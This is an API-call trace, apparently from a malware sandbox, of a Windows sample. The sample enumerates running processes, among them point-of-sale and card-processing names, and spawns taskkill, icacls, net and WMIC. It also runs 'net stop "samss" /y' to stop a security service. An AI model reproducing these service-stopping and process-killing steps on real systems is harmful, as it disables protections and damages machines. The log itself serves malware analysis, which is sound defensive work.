	[0166.772] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0166.775] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0166.778] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0166.781] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0166.784] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0166.787] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0166.790] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0166.792] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0166.795] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0166.798] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0166.801] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0166.804] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0166.807] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0166.810] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0167.001] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0167.004] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0167.007] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.009] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.012] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0167.015] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0167.017] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0167.020] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0167.023] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.026] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0167.028] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.031] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xb28, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0167.181] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0167.184] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0167.186] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.189] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.191] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0167.194] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.197] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0167.199] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.202] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0167.205] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0167.207] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.210] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0167.212] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.215] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0167.368] CloseHandle (hObject=0x7ec) returned 1
	[0167.368] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe6530
	[0167.369] EnumServicesStatusW (in: hSCManager=0xe6530, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0167.370] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x8630000
	[0167.371] EnumServicesStatusW (in: hSCManager=0xe6530, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8630000, cbBufSize=0x169d, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x8630000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0167.373] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0170.057] Sleep (dwMilliseconds=0x96) 
	[0170.664] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.666] Sleep (dwMilliseconds=0xc350) 
	[0180.789] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0xd04
	[0180.812] Process32FirstW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0180.814] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0180.817] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0180.820] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.823] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0180.826] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.964] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0180.967] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0180.970] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0180.973] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0180.976] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.980] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.984] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.987] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.990] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.993] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.996] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.998] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0181.001] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0181.004] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0181.247] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0181.251] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.254] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0181.257] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0181.260] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.263] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0181.266] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.269] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0181.272] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0181.276] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0181.279] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0181.281] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0181.284] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0181.536] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0181.538] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0181.542] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
